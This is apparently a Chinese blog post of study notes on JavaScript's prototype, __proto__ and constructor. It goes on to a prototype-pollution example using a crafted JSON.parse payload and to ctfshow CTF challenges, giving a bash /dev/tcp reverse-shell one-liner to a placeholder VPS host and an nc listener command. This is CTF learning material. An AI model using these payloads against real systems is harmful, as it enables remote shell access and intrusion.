js中的prototype&_proto_&constructor

引用:https://blog.csdn.net/cc18868876837/article/details/81211729

__proto__属性也可以写做[[Prototype]],其具体实现是由浏览器自己实现的。


0x00 博客讲解

​ 首先,先给一个小例子:

1
2
function Foo() {...};
let f1 = new Foo();

​ 下面说一下new操作符将函数作为构造器进行调用时的过程:函数被调用,然后新创建一个对象,此时函数内部的this是指向该新创建的对象,这意味着可以在构造器函数内部通过this参数初始化值,最后返回该新对象的引用。

​ 虽然这两行代码看上去很简单,但是其背后的关系确是错综复杂的,如下所示:

image-20230107200155433

​ 上图中,红色箭头表示__proto__属性指向,绿色箭头表示prototype属性的指向,棕色箭头表示本身具有的constructor属性的指向,棕色虚线箭头表示继承而来的constructor属性指向

__proto____constructor__属性是对象独有的,而prototype函数独有的。由于JS中函数也是一种对象,因此函数同时拥有这3种属性

​ 我们按照属性把上图拆分开,之后进行分析,如下图所示:

image-20230107202633895

​ 上图仅留下了__proto__属性,这是对象所独有的。__proto__属性都是一个对象指向另一个对象,即指向它们的原型对象(父对象)。__proto__的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么会去它的__proto__属性所指向的那个对象(父对象)里面去找,如果父对象也不存在这个属性,则继续往上找,直到原型链顶端null,这就是我们所说的原型链

​ 接下来再来看prototype属性,如下图所示:

image-20230107203150678

prototype属性是函数独有的,它是从一个函数指向一个对象,它的含义是函数的原型对象(意思就是prototype指向函数所创建的实例的原型对象,即f1.__proto__==Foo.prototypeprototype的作用是包含可以由特定类型的所有实例共享的属性和方法,也就是让该函数所实例化的对象们都可以找到公用的属性和方法。任何函数在创建的时候,会默认同时创建该函数的prototype对象。

​ 最后看constructor属性:

image-20230107204220078

constructor是对象才拥有的,它是由一个对象指向一个函数,含义就是指向该对象的构造函数,而每个对象都有构造函数,从上图中可以看出Function这个对象比较特殊,它的构造函数就是它自己(因为Function可以看成是一个函数,也可以是一个对象),所有函数和对象最终都是由Function构造函数得来,所以constructor属性的终点就是Function这个函数。

​ 每个对象都可以找到其对应的constructor,因为创建对象的前提是需要有constructor,而这个constructor可能是对象自己本身显式定义的(实线)或者通过__proto__在原型链中找到的(继承)。而单从constructor这个属性来讲,只有prototype对象才有。每个函数在创建的时候,JS会同时创建一个该函数对应的prototype对象,而函数创建的对象.__proto__ === 该函数.prototype该函数.prototype.constructor===该函数本身,故通过函数创建的对象即使自己没有constructor属性,它也能通过proto找到对应的constructor,所以任何对象最终都可以找到其构造函数(null如果当成对象的话,将null除外)。如下:
image-20230107205253102

0x01 Bro Xiang’s Question

JSON.parse() 函数

作用:将json数据转换为js对象。

Question code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key];
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);

console.log(user.query);

​ 我们假设,this.userinfo对象所对应的函数是func1user对象对应的函数是func2。画出上述代码的指向关系:

未命名文件

问题1:为什么不能用1个__proto__

答案1:很容易看出来,1个__proto__只是修改了func1.prototype,并没有对object.prototype进行修改,所以1个__proto__是不行的,然而使用2个__proto__正好。

web 338 & web 339 的反弹shell问题

​ 按这个来:https://tari.moe/2021/05/04/ctfshow-nodejs/

​ 一个小坑就是burp在发post空包的时候,此时光标位置一定要与包头空一行。

补充:

  • bash -c 'command'就可以运行command指令。

  • 常用的反弹shell指令:bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

image-20230108134543200

  • nc -lvp 4444 //l监听,v输出,p端口
  • stdoutstderr

image-20230108135317142

bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

​ 那么返回:

image-20230108143713882

​ 如果是这样的:bash -i > /dev/tcp/vps的ip/vps的端口 0>&1,那么返回:

image-20230108143750847

留言

2023-01-04

© 2024 wd-z711

⬆︎TOP